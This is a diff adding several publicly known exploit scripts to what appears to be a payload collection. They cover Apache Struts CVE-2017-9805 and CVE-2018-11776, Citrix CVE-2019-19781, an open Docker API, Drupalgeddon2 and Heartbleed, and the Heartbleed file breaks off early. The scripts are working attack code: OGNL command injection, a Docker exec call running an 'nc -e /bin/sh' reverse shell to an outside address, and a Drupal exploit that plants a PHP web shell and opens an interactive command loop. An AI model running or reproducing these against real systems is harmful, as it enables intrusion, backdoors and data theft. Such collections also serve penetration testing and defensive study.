+ 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
257
+ # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
258
+ 'Referer': str(url),
259
+ 'Content-Type': 'application/xml',
260
+ 'Accept': '*/*'
261
+ }
262
+
263
+ timeout = 8
264
+ try:
265
+ requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
266
+ # if the response returned before the request timeout.
267
+ # then, the host should not be vulnerable.
268
+ # The request should return > 10 seconds, while the timeout is 8.
269
+ result = False
270
+ except Exception:
271
+ result = True
272
+ return(result)
273
+
274
+
275
+ def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
276
+ if url:
277
+ if not do_exploit:
278
+ result = check(url)
279
+ output = '[*] Status: '
280
+ if result is True:
281
+ output += 'Vulnerable!'
282
+ else:
283
+ output += 'Not Affected.'
284
+ print(output)
285
+ else:
286
+ exploit(url, cmd)
287
+ print("[$] Request sent.")
288
+ print("[.] If the host is vulnerable, the command will be executed in the background.")
289
+
290
+ if usedlist:
291
+ URLs_List = []
292
+ try:
293
+ f_file = open(str(usedlist), 'r')
294
+ URLs_List = f_file.read().replace('\r', '').split('\n')
295
+ try:
296
+ URLs_List.remove('')
297
+ except ValueError:
298
+ pass
299
+ f_file.close()
300
+ except Exception as e:
301
+ print('Error: There was an error in reading list file.')
302
+ print("Exception: " + str(e))
303
+ exit(1)
304
+ for url in URLs_List:
305
+ if not do_exploit:
306
+ result = check(url)
307
+ output = '[*] Status: '
308
+ if result is True:
309
+ output += 'Vulnerable!'
310
+ else:
311
+ output += 'Not Affected.'
312
+ print(output)
313
+ else:
314
+ exploit(url, cmd)
315
+ print("[$] Request sent.")
316
+ print("[.] If the host is vulnerable, the command will be executed in the background.")
317
+
318
+ print('[%] Done.')
319
+
320
+ if __name__ == '__main__':
321
+ try:
322
+ main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
323
+ except KeyboardInterrupt:
324
+ print('\nKeyboardInterrupt Detected.')
325
+ print('Exiting...')
326
+ exit(0)
payloads/CVE Exploits/Apache Struts 2 CVE-2018-11776.py ADDED
@@ -0,0 +1,231 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ # coding=utf-8
3
+ # *****************************************************
4
+ # struts-pwn: Apache Struts CVE-2018-11776 Exploit
5
+ # Author:
6
+ # Mazin Ahmed <Mazin AT MazinAhmed DOT net>
7
+ # This code uses a payload from:
8
+ # https://github.com/jas502n/St2-057
9
+ # *****************************************************
10
+
11
+ from __future__ import print_function
12
+ from future import standard_library
13
+ standard_library.install_aliases()
14
+ from builtins import str
15
+ from builtins import range
16
+ import argparse
17
+ import random
18
+ import requests
19
+ import sys
20
+ try:
21
+ from urllib import parse as urlparse
22
+ except ImportError:
23
+ import urllib.parse
24
+
25
+ # Disable SSL warnings
26
+ try:
27
+ import requests.packages.urllib3
28
+ requests.packages.urllib3.disable_warnings()
29
+ except Exception:
30
+ pass
31
+
32
+ if len(sys.argv) <= 1:
33
+ print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
34
+ print('[*] Struts-PWN - @mazen160')
35
+ print('\n%s -h for help.' % (sys.argv[0]))
36
+ exit(0)
37
+
38
+
39
+ parser = argparse.ArgumentParser()
40
+ parser.add_argument("-u", "--url",
41
+ dest="url",
42
+ help="Check a single URL.",
43
+ action='store')
44
+ parser.add_argument("-l", "--list",
45
+ dest="usedlist",
46
+ help="Check a list of URLs.",
47
+ action='store')
48
+ parser.add_argument("-c", "--cmd",
49
+ dest="cmd",
50
+ help="Command to execute. (Default: 'id')",
51
+ action='store',
52
+ default='id')
53
+ parser.add_argument("--exploit",
54
+ dest="do_exploit",
55
+ help="Exploit.",
56
+ action='store_true')
57
+
58
+
59
+ args = parser.parse_args()
60
+ url = args.url if args.url else None
61
+ usedlist = args.usedlist if args.usedlist else None
62
+ cmd = args.cmd if args.cmd else None
63
+ do_exploit = args.do_exploit if args.do_exploit else None
64
+
65
+ headers = {
66
+ 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
67
+ # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
68
+ 'Accept': '*/*'
69
+ }
70
+ timeout = 3
71
+
72
+
73
+ def parse_url(url):
74
+ """
75
+ Parses the URL.
76
+ """
77
+
78
+ # url: http://example.com/demo/struts2-showcase/index.action
79
+
80
+ url = url.replace('#', '%23')
81
+ url = url.replace(' ', '%20')
82
+
83
+ if ('://' not in url):
84
+ url = str("http://") + str(url)
85
+ scheme = urllib.parse.urlparse(url).scheme
86
+
87
+ # Site: http://example.com
88
+ site = scheme + '://' + urllib.parse.urlparse(url).netloc
89
+
90
+ # FilePath: /demo/struts2-showcase/index.action
91
+ file_path = urllib.parse.urlparse(url).path
92
+ if (file_path == ''):
93
+ file_path = '/'
94
+
95
+ # Filename: index.action
96
+ try:
97
+ filename = url.split('/')[-1]
98
+ except IndexError:
99
+ filename = ''
100
+
101
+ # File Dir: /demo/struts2-showcase/
102
+ file_dir = file_path.rstrip(filename)
103
+ if (file_dir == ''):
104
+ file_dir = '/'
105
+
106
+ return({"site": site,
107
+ "file_dir": file_dir,
108
+ "filename": filename})
109
+
110
+
111
+ def build_injection_inputs(url):
112
+ """
113
+ Builds injection inputs for the check.
114
+ """
115
+
116
+ parsed_url = parse_url(url)
117
+ injection_inputs = []
118
+ url_directories = parsed_url["file_dir"].split("/")
119
+
120
+ try:
121
+ url_directories.remove("")
122
+ except ValueError:
123
+ pass
124
+
125
+ for i in range(len(url_directories)):
126
+ injection_entry = "/".join(url_directories[:i])
127
+
128
+ if not injection_entry.startswith("/"):
129
+ injection_entry = "/%s" % (injection_entry)
130
+
131
+ if not injection_entry.endswith("/"):
132
+ injection_entry = "%s/" % (injection_entry)
133
+
134
+ injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
135
+ injection_entry += parsed_url["filename"]
136
+
137
+ injection_inputs.append(injection_entry)
138
+
139
+ return(injection_inputs)
140
+
141
+
142
+ def check(url):
143
+ random_value = int(''.join(random.choice('0123456789') for i in range(2)))
144
+ multiplication_value = random_value * random_value
145
+ injection_points = build_injection_inputs(url)
146
+ parsed_url = parse_url(url)
147
+ print("[%] Checking for CVE-2018-11776")
148
+ print("[*] URL: %s" % (url))
149
+ print("[*] Total of Attempts: (%s)" % (len(injection_points)))
150
+ attempts_counter = 0
151
+
152
+ for injection_point in injection_points:
153
+ attempts_counter += 1
154
+ print("[%s/%s]" % (attempts_counter, len(injection_points)))
155
+ testing_url = "%s%s" % (parsed_url["site"], injection_point)
156
+ testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
157
+ try:
158
+ resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
159
+ except Exception as e:
160
+ print("EXCEPTION::::--> " + str(e))
161
+ continue
162
+ if "Location" in list(resp.headers.keys()):
163
+ if str(multiplication_value) in resp.headers['Location']:
164
+ print("[*] Status: Vulnerable!")
165
+ return(injection_point)
166
+ print("[*] Status: Not Affected.")
167
+ return(None)
168
+
169
+
170
+ def exploit(url, cmd):
171
+ parsed_url = parse_url(url)
172
+
173
+ injection_point = check(url)
174
+ if injection_point is None:
175
+ print("[%] Target is not vulnerable.")
176
+ return(0)
177
+ print("[%] Exploiting...")
178
+
179
+ payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
180
+
181
+ testing_url = "%s%s" % (parsed_url["site"], injection_point)
182
+ testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
183
+
184
+ try:
185
+ resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
186
+ except Exception as e:
187
+ print("EXCEPTION::::--> " + str(e))
188
+ return(1)
189
+
190
+ print("[%] Response:")
191
+ print(resp.text)
192
+ return(0)
193
+
194
+
195
+ def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
196
+ if url:
197
+ if not do_exploit:
198
+ check(url)
199
+ else:
200
+ exploit(url, cmd)
201
+
202
+ if usedlist:
203
+ URLs_List = []
204
+ try:
205
+ f_file = open(str(usedlist), "r")
206
+ URLs_List = f_file.read().replace("\r", "").split("\n")
207
+ try:
208
+ URLs_List.remove("")
209
+ except ValueError:
210
+ pass
211
+ f_file.close()
212
+ except Exception as e:
213
+ print("Error: There was an error in reading list file.")
214
+ print("Exception: " + str(e))
215
+ exit(1)
216
+ for url in URLs_List:
217
+ if not do_exploit:
218
+ check(url)
219
+ else:
220
+ exploit(url, cmd)
221
+
222
+ print("[%] Done.")
223
+
224
+
225
+ if __name__ == "__main__":
226
+ try:
227
+ main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
228
+ except KeyboardInterrupt:
229
+ print("\nKeyboardInterrupt Detected.")
230
+ print("Exiting...")
231
+ exit(0)
payloads/CVE Exploits/Citrix CVE-2019-19781.py ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # https://github.com/mpgn/CVE-2019-19781
3
+ # # #
4
+
5
+ import requests
6
+ import string
7
+ import random
8
+ import re
9
+ import sys
10
+ from requests.packages.urllib3.exceptions import InsecureRequestWarning
11
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
12
+
13
+ print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
14
+ print("Found by Mikhail Klyuchnikov")
15
+ print("")
16
+
17
+ if len(sys.argv) < 2:
18
+ print("[-] No URL provided")
19
+ sys.exit(0)
20
+
21
+ while True:
22
+ try:
23
+ command = input("command > ")
24
+
25
+ random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
26
+ print("[+] Adding bookmark", random_xml + ".xml")
27
+
28
+ burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
29
+ burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
30
+ random_xml, "NSC_NONCE": "c", "Connection": "close"}
31
+ burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
32
+ r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
33
+
34
+ if r.status_code == 200:
35
+ print("[+] Bookmark added")
36
+ else:
37
+ print("\n[-] Target not vulnerable or something went wrong")
38
+ sys.exit(0)
39
+
40
+ burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
41
+ burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
42
+ random_xml, "NSC_NONCE": "c", "Connection": "close"}
43
+ r = requests.get(burp0_url, headers=burp0_headers,verify=False)
44
+
45
+ replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
46
+ print("[+] Result of the command: \n")
47
+ print(replaced)
48
+
49
+ except KeyboardInterrupt:
50
+ print("Exiting...")
51
+ break
payloads/CVE Exploits/Docker API RCE.py ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import print_function
2
+ import requests
3
+ import logging
4
+ import json
5
+ import urllib.parse
6
+
7
+ # NOTE
8
+ # Enable Remote API with the following command
9
+ # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
10
+ # This is an intended feature, remember to filter the port 2375..
11
+
12
+ name = "docker"
13
+ description = "Docker RCE via Open Docker API on port 2375"
14
+ author = "Swissky"
15
+
16
+ # Step 1 - Extract id and name from each container
17
+ ip = "127.0.0.1"
18
+ port = "2375"
19
+ data = "containers/json"
20
+ url = "http://{}:{}/{}".format(ip, port, data)
21
+ r = requests.get(url)
22
+
23
+ if r.json:
24
+ for container in r.json():
25
+ container_id = container['Id']
26
+ container_name = container['Names'][0].replace('/','')
27
+ print((container_id, container_name))
28
+
29
+ # Step 2 - Prepare command
30
+ cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
31
+ data = "containers/{}/exec".format(container_name)
32
+ url = "http://{}:{}/{}".format(ip, port, data)
33
+ post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
34
+ post_header = {
35
+ "Content-Type": "application/json"
36
+ }
37
+ r = requests.post(url, json=json.loads(post_json))
38
+
39
+
40
+ # Step 3 - Execute command
41
+ id_cmd = r.json()['Id']
42
+ data = "exec/{}/start".format(id_cmd)
43
+ url = "http://{}:{}/{}".format(ip, port, data)
44
+ post_json = '{ "Detach":false,"Tty":false}'
45
+ post_header = {
46
+ "Content-Type": "application/json"
47
+ }
48
+ r = requests.post(url, json=json.loads(post_json))
49
+ print(r)
payloads/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb ADDED
@@ -0,0 +1,308 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
4
+ #
5
+ # Authors:
6
+ # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
7
+ # - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
8
+ #
9
+
10
+
11
+ require 'base64'
12
+ require 'json'
13
+ require 'net/http'
14
+ require 'openssl'
15
+ require 'readline'
16
+
17
+
18
+ # Settings - Proxy information (nil to disable)
19
+ proxy_addr = nil
20
+ proxy_port = 8080
21
+
22
+
23
+ # Settings - General
24
+ $useragent = "drupalgeddon2"
25
+ webshell = "s.php"
26
+ writeshell = true
27
+
28
+
29
+ # Settings - Payload (we could just be happy without this, but we can do better!)
30
+ #bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
31
+ bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
32
+ bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
33
+
34
+
35
+ # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
36
+
37
+
38
+ # Function http_post <url> [post]
39
+ def http_post(url, payload="")
40
+ uri = URI(url)
41
+ request = Net::HTTP::Post.new(uri.request_uri)
42
+ request.initialize_http_header({"User-Agent" => $useragent})
43
+ request.body = payload
44
+ return $http.request(request)
45
+ end
46
+
47
+
48
+ # Function gen_evil_url <cmd>
49
+ def gen_evil_url(evil, feedback=true)
50
+ # PHP function to use (don't forget about disabled functions...)
51
+ phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
52
+
53
+ #puts "[*] PHP cmd: #{phpmethod}" if feedback
54
+ puts "[*] Payload: #{evil}" if feedback
55
+
56
+ ## Check the version to match the payload
57
+ # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
58
+ if $drupalverion.start_with?('8')
59
+ # Method #1 - Drupal 8, mail, #post_render - response is 200
60
+ url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
61
+ payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
62
+
63
+ # Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
64
+ #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
65
+ #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
66
+ elsif $drupalverion.start_with?('7')
67
+ # Method #3 - Drupal 7, name, #post_render - response is 200
68
+ url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
69
+ payload = "form_id=user_pass&_triggering_element_name=name"
70
+ else
71
+ puts "[!] Unsupported Drupal version"
72
+ exit
73
+ end
74
+
75
+ # Drupal v7 needs an extra value from a form
76
+ if $drupalverion.start_with?('7')
77
+ response = http_post(url, payload)
78
+
79
+ form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
80
+ puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
81
+
82
+ #url = $target + "file/ajax/name/%23value/" + form_build_id
83
+ url = $target + "?q=file/ajax/name/%23value/" + form_build_id
84
+ payload = "form_build_id=" + form_build_id
85
+ end
86
+
87
+ return url, payload
88
+ end
89
+
90
+
91
+ # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
92
+
93
+
94
+ # Quick how to use
95
+ if ARGV.empty?
96
+ puts "Usage: ruby drupalggedon2.rb <target>"
97
+ puts " ruby drupalgeddon2.rb https://example.com"
98
+ exit
99
+ end
100
+ # Read in values
101
+ $target = ARGV[0]
102
+
103
+
104
+ # Check input for protocol
105
+ if not $target.start_with?('http')
106
+ $target = "http://#{$target}"
107
+ end
108
+ # Check input for the end
109
+ if not $target.end_with?('/')
110
+ $target += "/"
111
+ end
112
+
113
+
114
+ # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
115
+
116
+
117
+ # Banner
118
+ puts "[*] --==[::#Drupalggedon2::]==--"
119
+ puts "-"*80
120
+ puts "[*] Target : #{$target}"
121
+ puts "[*] Write? : Skipping writing web shell" if not writeshell
122
+ puts "-"*80
123
+
124
+
125
+ # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
126
+
127
+
128
+ # Setup connection
129
+ uri = URI($target)
130
+ $http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
131
+
132
+
133
+ # Use SSL/TLS if needed
134
+ if uri.scheme == "https"
135
+ $http.use_ssl = true
136
+ $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
137
+ end
138
+
139
+
140
+ # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
141
+
142
+
143
+ # Try and get version
144
+ $drupalverion = nil
145
+ # Possible URLs
146
+ url = [
147
+ $target + "CHANGELOG.txt",
148
+ $target + "core/CHANGELOG.txt",
149
+ $target + "includes/bootstrap.inc",
150
+ $target + "core/includes/bootstrap.inc",
151
+ ]
152
+ # Check all
153
+ url.each do|uri|
154
+ # Check response
155
+ response = http_post(uri)
156
+
157
+ if response.code == "200"
158
+ puts "[+] Found : #{uri} (#{response.code})"
159
+
160
+ # Patched already?
161
+ puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
162
+
163
+ # Try and get version from the file contents
164
+ $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
165
+
166
+ # If not, try and get it from the URL
167
+ $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
168
+
169
+ # Done!
170
+ break
171
+ elsif response.code == "403"
172
+ puts "[+] Found : #{uri} (#{response.code})"
173
+
174
+ # Get version from URL
175
+ $drupalverion = uri.match(/core/)? "8.x" : "7.x"
176
+ else
177
+ puts "[!] MISSING: #{uri} (#{response.code})"
178
+ end
179
+ end
180
+
181
+
182
+ # Feedback
183
+ if $drupalverion
184
+ status = $drupalverion.end_with?('x')? "?" : "!"
185
+ puts "[+] Drupal#{status}: #{$drupalverion}"
186
+ else
187
+ puts "[!] Didn't detect Drupal version"
188
+ puts "[!] Forcing Drupal v8.x attack"
189
+ $drupalverion = "8.x"
190
+ end
191
+ puts "-"*80
192
+
193
+
194
+
195
+ # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
196
+
197
+
198
+
199
+ # Make a request, testing code execution
200
+ puts "[*] Testing: Code Execution"
201
+ # Generate a random string to see if we can echo it
202
+ random = (0...8).map { (65 + rand(26)).chr }.join
203
+ url, payload = gen_evil_url("echo #{random}")
204
+ response = http_post(url, payload)
205
+ if response.code == "200" and not response.body.empty?
206
+ #result = JSON.pretty_generate(JSON[response.body])
207
+ result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
208
+ puts "[+] Result : #{result}"
209
+
210
+ puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
211
+ else
212
+ puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
213
+ exit
214
+ end
215
+ puts "-"*80
216
+
217
+
218
+ # Location of web shell & used to signal if using PHP shell
219
+ webshellpath = nil
220
+ prompt = "drupalgeddon2"
221
+ # Possibles paths to try
222
+ paths = [
223
+ "./",
224
+ "./sites/default/",
225
+ "./sites/default/files/",
226
+ ]
227
+ # Check all
228
+ paths.each do|path|
229
+ puts "[*] Testing: File Write To Web Root (#{path})"
230
+
231
+ # Merge locations
232
+ webshellpath = "#{path}#{webshell}"
233
+
234
+ # Final command to execute
235
+ cmd = "#{bashcmd} | tee #{webshellpath}"
236
+
237
+ # Generate evil URLs
238
+ url, payload = gen_evil_url(cmd)
239
+ # Make the request
240
+ response = http_post(url, payload)
241
+ # Check result
242
+ if response.code == "200" and not response.body.empty?
243
+ # Feedback
244
+ #result = JSON.pretty_generate(JSON[response.body])
245
+ result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
246
+ puts "[+] Result : #{result}"
247
+
248
+ # Test to see if backdoor is there (if we managed to write it)
249
+ response = http_post("#{$target}#{webshellpath}", "c=hostname")
250
+ if response.code == "200" and not response.body.empty?
251
+ puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
252
+ break
253
+ else
254
+ puts "[!] Target is NOT exploitable. No write access here!"
255
+ end
256
+ else
257
+ puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
258
+ end
259
+ webshellpath = nil
260
+ end if writeshell
261
+ puts "-"*80 if writeshell
262
+
263
+ if webshellpath
264
+ # Get hostname for the prompt
265
+ prompt = response.body.to_s.strip
266
+
267
+ # Feedback
268
+ puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
269
+ elsif writeshell
270
+ puts "[!] FAILED: Coudn't find writeable web path"
271
+ puts "[*] Dropping back direct commands (expect an ugly shell!)"
272
+ end
273
+
274
+
275
+ # Stop any CTRL + C action ;)
276
+ trap("INT", "SIG_IGN")
277
+
278
+
279
+ # Forever loop
280
+ loop do
281
+ # Default value
282
+ result = "ERROR"
283
+
284
+ # Get input
285
+ command = Readline.readline("#{prompt}>> ", true).to_s
286
+
287
+ # Exit
288
+ break if command =~ /exit/
289
+
290
+ # Blank link?
291
+ next if command.empty?
292
+
293
+ # If PHP shell
294
+ if webshellpath
295
+ # Send request
296
+ result = http_post("#{$target}#{webshell}", "c=#{command}").body
297
+ # Direct commands
298
+ else
299
+ url, payload = gen_evil_url(command, false)
300
+ response = http_post(url, payload)
301
+ if response.code == "200" and not response.body.empty?
302
+ result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
303
+ end
304
+ end
305
+
306
+ # Feedback
307
+ puts result
308
+ end
payloads/CVE Exploits/Heartbleed CVE-2014-0160.py ADDED
@@ -0,0 +1,216 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/python
2
+
3
+ # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
4
+ # The author disclaims copyright to this source code.
5
+ # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
6
+
7
+ from __future__ import print_function
8
+ from builtins import str
9
+ from builtins import range
10
+ import sys
11
+ import struct
12
+ import socket
13
+ import time
14
+ import select
15
+ import re
16
+ from optparse import OptionParser
17
+ import smtplib
18
+
19
+ options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
20
+ options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
21
+ options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
22
+ options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
23
+ options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
24
+ options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
25
+
26
+ def h2bin(x):
27
+ return x.replace(' ', '').replace('\n', '').decode('hex')
28
+
29
+ hello = h2bin('''
30
+ 16 03 02 00 dc 01 00 00 d8 03 02 53
31
+ 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
32
+ bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
33
+ 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
34
+ 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
35
+ c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
36
+ c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
37
+ c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
38
+ c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
39
+ 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
40
+ 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
41
+ 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
42
+ 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
43
+ 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
44
+ 00 0f 00 01 01
45
+ ''')
46
+
47
